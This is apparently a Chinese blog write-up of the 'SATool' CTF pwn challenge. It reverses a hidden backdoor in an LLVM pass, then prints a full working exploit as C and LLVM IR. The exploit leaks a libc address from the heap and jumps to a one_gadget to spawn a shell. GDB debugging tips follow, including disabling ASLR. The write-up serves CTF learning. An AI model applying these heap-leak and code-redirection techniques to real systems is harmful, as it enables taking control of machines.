[PWN] SATool xp0int Posted on Jun 7 2021 # 程序分析 题目是一道 LLVM 题,给出`opt`程序、`SAPass.so`和`quickstart.txt`。GLIBC 版本 2.27。 *** LLVM 是一个编译器套件项目,用来开发编译器前端和后端,我们常用的 gcc 就是一种编译器。LLVM 的核心是 IR 中间语言:它将源代码编译成机器代码时,首先将源代码翻译为对应的 IR 代码,然后再将 IR 代码转换成目标机器代码。 `opt`是 LLVM 提供的 IR 代码分析与优化工具。用户可以利用 LLVM API 编写一种名为`Pass`的动态库。使用`opt`运行`Pass`后,可以遍历、增加、修改或删除 IR 代码中的各种元素(例如函数、变量、调用参数等)。 题目中的`SAPass.so`就是一种`FunctionPass`,用于遍历 IR 代码中的所有函数。 *** `SAPass.so`的核心代码位于`sub_19D0`函数。其他代码主要用于初始化`Pass`,与题目无关。 `opt`遍历 IR Bytecode 中所有调用的函数,然后依次传递给`sub_19D0`函数。 `sub_19D0`函数的逻辑流程是:首先检查函数名称是否为`B4ckDo0r`;若是,根据在`B4ckDo0r`函数里面调用的特定函数,执行一些指令来控制两个全局变量的内容:`qword_2040F8`(这里命名为`CALL_ADDRESS`)和`unk_204100`(命名为`KEY`)。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd4d0ab64417bf6000597) 指令名称有:`save`、`takeaway`、`stealkey`、`fakekey`和`run`。 ## 1. save 原型:`void save(char* a, char* b){};` 用`malloc`分配一块大小为`0x18`的内存,将内存地址储存于`CALL_ADDRESS`变量中,然后将 a 和 b 字符串分别复制到`CALL_ADDRESS`、`CALL_ADDRESS+8`指向的内存位置上。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd4f3ab64417bf6000598) ## 2. takeaway 忽略。似乎是对比用户输入与`CALL_ADDRESS`指向的内存数据是否一致。 ## 3. stealkey 原型:`void stealkey(){};` 将`CALL_ADDRESS`指向地址的前 8 字节数据复制到`KEY`中。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd524ab64417df60005a9) ## 4. fakekey 原型:`void fakekey(signed long a){};` `KEY`与`a`相加,然后将`KEY`的值赋予到`CALL_ADDRESS`指向的内存位置。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd53fab64417bf600059a) ## 5. run 原型:`void run(){};` 调用`CALL_ADDRESS`指向的内存地址。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd55dab64417df60005ac) # 漏洞利用 **主要思路**:首先想办法将某个 libc 地址泄露到`KEY`中,然后利用`fakekey`将 libc 地址修改为 one gadget 地址并写入到`CALL_ADDRESS`指向位置,最后利用`run`转跳到 one gadget,实现 getshell。 怎么样泄露 libc 地址泄露到`KEY`?使用 GDB 调试程序并暂停到`save`调用`malloc`分配内存的位置,通过`heapinfo`可以发现`unsorted bin`存在 chunk。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd589ab64417bf600059e) 因此只要多次调用`save`直到分配到 unsorted bin chunk,我们就能拿到上面的 main_arena 地址了。 另外,仔细观察`run`部分的代码,可以发现出题人贴心地将参数寄存器和栈内存都设置为 NULL,方便调用 one gadget。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd5afab64417df60005ae) # 编写 EXP **STEP1:** 安装相关工具:`sudo apt install llvm clang` **STEP2:** 这里需要注意一下出题人留下的坑。 留心观察`sub_19D0`函数的代码,可以发现程序每次执行指令前会检查`llvm::CallBase::getNumTotalBundleOperands`函数的返回值是否符合一定要求。[API 文档](https://llvm.org/doxygen/classllvm_1_1CallBase.html#aff4a43d51265443e3d62d49395d0b585)显示返回值是当前 IR 语句所有 operand bundle 的 operand 总数。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd5fcab64417df60005b4) [LLVM 文档](https://llvm.org/docs/LangRef.html#operand-bundles)上<del>十分含糊地</del>表示 Operand Bundle 这东西是 IR 编译器为函数调用语句生成的某种辅助信息。下面是文档给出的一个 IR 代码例子。 ``` define void @g() { call void @x() ;; still no deopt state call void @y() [ "deopt"(i32 20, i32 10) ] call void @y() [ "deopt"(i32 20, i32 10), "unknown"(i8* null) ] ret void } ``` `call`语句末尾以中括号包含的内容就是 Operand Bundle。每个 Operand Bundle 的元素就是 operand。以第二个`call`语句为例,该语句一共有一个 Operand Bundle、两个 operand。 网上没有找到生成`Operand Bundle`的方法,只能直接修改 IR 代码。 修改方法十分简单:首先用`clang -S -emit-llvm exp.c`生成 IR 代码`exp.ll`,然后将`exp.ll`文件`B4ckDo0r`函数中所有的`call`语句后面加上` [ "deopt"(i32 20, i32 10) ]`(直接抄上面的例子),最后使用`llvm-as exp.ll -o exp.bc`编译成 IR 字节码即可。 **STEP3:** 编写 EXP 时注意,EXP 源代码中必须存在相应指令函数的代码,否则`opt`会 crash。 指令函数体可以为空。例子如下: ``` int save(char* c, char* a){}; int stealkey(){}; int fakekey(signed long a){}; int run(){}; ``` **STEP4:** 首先调用6次`save`,`CALL_ADDRESS`分配得到 unsorted bin chunk;调用`stealkey`,将 main_arena 地址复制到`KEY`;调用`fakekey`加上偏移`-0x39ce9e`得到 one gadget 地址,然后将其复制回`CALL_ADDRESS`;最后调用`run`转跳到 one gadget。 ``` int save(char* c, char* a){}; int stealkey(){}; int fakekey(signed long a){}; int run(){}; int B4ckDo0r() { save("", ""); save("", ""); save("", ""); save("", ""); save("", ""); save("", ""); stealkey(); fakekey(-0x39ce9e); run(); } ``` 最后得到的 IR 代码`exp.ll`: ``` ; ModuleID = 'exp.c' source_filename = "exp.c" target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [1 x i8] zeroinitializer, align 1 ; Function Attrs: noinline nounwind optnone uwtable define i32 @save(i8*, i8*) #0 { %3 = alloca i32, align 4 %4 = alloca i8*, align 8 %5 = alloca i8*, align 8 store i8* %0, i8** %4, align 8 store i8* %1, i8** %5, align 8 %6 = load i32, i32* %3, align 4 ret i32 %6 } ; Function Attrs: noinline nounwind optnone uwtable define i32 @stealkey() #0 { %1 = alloca i32, align 4 %2 = load i32, i32* %1, align 4 ret i32 %2 } ; Function Attrs: noinline nounwind optnone uwtable define i32 @fakekey(i64) #0 { %2 = alloca i32, align 4 %3 = alloca i64, align 8 store i64 %0, i64* %3, align 8 %4 = load i32, i32* %2, align 4 ret i32 %4 } ; Function Attrs: noinline nounwind optnone uwtable define i32 @run() #0 { %1 = alloca i32, align 4 %2 = load i32, i32* %1, align 4 ret i32 %2 } ; Function Attrs: noinline nounwind optnone uwtable define i32 @B4ckDo0r() #0 { %1 = alloca i32, align 4 %2 = call i32 @save(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0)) [ "deopt"(i32 20, i32 10) ] %3 = call i32 @save(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0)) [ "deopt"(i32 20, i32 10) ] %4 = call i32 @save(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0)) [ "deopt"(i32 20, i32 10) ] %5 = call i32 @save(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0)) [ "deopt"(i32 20, i32 10) ] %6 = call i32 @save(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0)) [ "deopt"(i32 20, i32 10) ] %7 = call i32 @save(i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([1 x i8], [1 x i8]* @.str, i32 0, i32 0)) [ "deopt"(i32 20, i32 10) ] %8 = call i32 @stealkey() [ "deopt"(i32 20, i32 10) ] %9 = call i32 @fakekey(i64 -3788446) [ "deopt"(i32 20, i32 10) ] %10 = call i32 @run() [ "deopt"(i32 20, i32 10) ] %11 = load i32, i32* %1, align 4 ret i32 %11 } attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" } !llvm.module.flags = !{!0} !llvm.ident = !{!1} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"} ``` # 其他 ## 调试动态库 调试动态库比调试一般程序麻烦,特别是设置断点。设置软件断点的原理是将断点位置的指令字节码修改为`0xcc`(即`int 0x80`)。而程序启动时可能没有加载动态库,导致无法设置断点。 *** 程序一般有两种途径从外界加载动态库:ld.so 和 dlopen。 ld.so 负责加载程序所依赖的动态库,简单来说就是`ldd`命令列出的这些库: ``` root@d9dfd77f2644:/pwn# ldd ./opt linux-vdso.so.1 (0x00007ffff7fcd000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ffff7f9b000) libLLVM-8.so.1 => /lib/x86_64-linux-gnu/libLLVM-8.so.1 (0x00007ffff4377000) libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ffff4196000) libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ffff4047000) libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ffff402c000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff3e3a000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000) libffi.so.7 => /lib/x86_64-linux-gnu/libffi.so.7 (0x00007ffff3e2c000) libedit.so.2 => /lib/x86_64-linux-gnu/libedit.so.2 (0x00007ffff3df4000) libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007ffff3dd8000) librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ffff3dcd000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff3dc7000) libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007ffff3d97000) libbsd.so.0 => /lib/x86_64-linux-gnu/libbsd.so.0 (0x00007ffff3d7b000) ``` 程序进入`main`函数之前,ld.so 自动地将这些动态库加载到内存中。因此如果想在这些库里面设置断点,可以先让程序停在`main`函数里面,然后再设置断点即可。 ``` # 先在程序的 main 函数处设置断点 b main r # 进入 main 函数后,再下依赖库的断点 b *solib_breakpoint_address c ``` 除非程序正好调用了需要设置断点的依赖库函数(比如堆题调用 libc.so.6 中的`malloc`和`free`函数)。 与 ld.so 只能加载固定的依赖库不同, **`dlopen`函数可以让程序加载给定路径的任意动态库文件**,只有调用`dlopen`函数之后,动态库文件才会加载到内存中,比如本题中的`SAPass.so`。这样除非可以找到程序加载库的地方,否则无法设置断点。 ### 方法一:stop-on-solib-events 为了方便调试这类动态加载的库,GDB 提供了`stop-on-solib-events`选项:开启该选项后,当程序从内存加载或者删除动态库时,GDB 自动暂停程序以供用户调试。 **STEP1:** 关闭 ALSR 功能,方便调试。 ```sudo -c 'echo -n 0 > /proc/sys/kernel/randomize_va_space'``` **STEP2:** 寻找加载`SAPass.so`的位置。 由于`opt`可能在运行时加载`SAPass.so`以外的动态库,我们需要通过调试来确定程序于第几次调用`dlopen`函数后加载`SAPass.so`。 GDB 脚本如下: ``` # File: gdbscript # 设置程序参数 file ./opt set args -load ./SAPass.so -SAPass ./exp.bc # 进入 main 函数后再启用 stop-on-solib-events 选项 # 因为在此之前 ld.so 会加载 opt 的各种依赖库,容易对调试造成干扰 b main r set stop-on-solib-events 1 c ``` 需要注意的是,我们需要进入到`main`函数之后才能启用 stop-on-solib-events 选项,否则 GDB 会因`ld.so`加载依赖库而不断停下(你也不想多按几遍回车键吧?)。 执行`gdb -x gdbscript`。程序停下后,GDB 打印一行以`Stopped due to shared library event`开头的信息,表示它检测到了程序动态库的变动。如果有新的动态库加载到了内存中,GDB 还会提示库文件的名称。 ![title](https://leanote.com/api/file/getImage?fileId=60bdd7cbab64417bf60005b8) 每次程序因动态库变动停下,首先根据 GDB 信息判断是否加载了`SAPass.so`:若否,使用`continue`继续运行程序;若是,那么我们可以按照程序停下的次数确定设置断点的位置。 记得用`vmmap`查看`SAPass.so`的基址,后面设置断点用到。 **STEP3:** 得到设置断点位置后,我们在 GDB 脚本使用多个`continue`跳到这个位置,然后使用`break`命令设置断点即可。 经过我的调试,程序调用两次`dlopen`后就加载了`SAPass.so`,因此我们只需使用一个`continue`即可。 最终脚本如下: ``` file ./opt set args -load ./SAPass.so -SAPass ./exp.bc b main r set stop-on-solib-events 1 c ## 跳过一次 c # 到这里 SAPass.so 已经加载到内存,可以直接设置断点了 set $base=0x7ffff3b72000 b *($base+0x21bf) set stop-on-solib-events 0 # 继续执行程序,到达断点 c # do something else... # ``` ### 方法二:硬件断点 另一种更加简便的方法是使用硬件断点。有关软件断点和硬件断点的区别,请去网上搜索相关文章。 只要程序运行到设置于调试寄存器中的断点地址,程序就会自动暂停,因此设置硬件断点不要求断点地址所属的代码已经加载到内存中。 **STEP1:** 关闭 ALSR 功能。见方法一。 **STEP2:** 寻找`SAPass.so`基址。 方法一:参考上面的方法一,通过`stop-on-solib-events`选项在加载`SAPass.so`的位置暂停后,使用`vmmap`查看基址。 方法二:写个只有`run`的 payload。用 GDB 调试加载这个 payload 的程序,程序会马上在`SAPass.so`里面 crash 掉,这时候可以通过`vmmap`或者`backtrace`找到`SAPass.so`的基址。 ``` int run(){}; int B4ckDo0r() { run(); } ``` **STEP3:** 下硬件断点。 ``` file ./opt set args -load ./SAPass.so -SAPass ./exp.bc # 程序处于运行状态时才能设置硬件断点 starti # 用`hb`命令设置硬件断点 set $base=0x7ffff3b72000 hb *($base++0x21bf) c # do something else... # ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [RE] OddCode - cew [PWN] - channel
没有帐号? 立即注册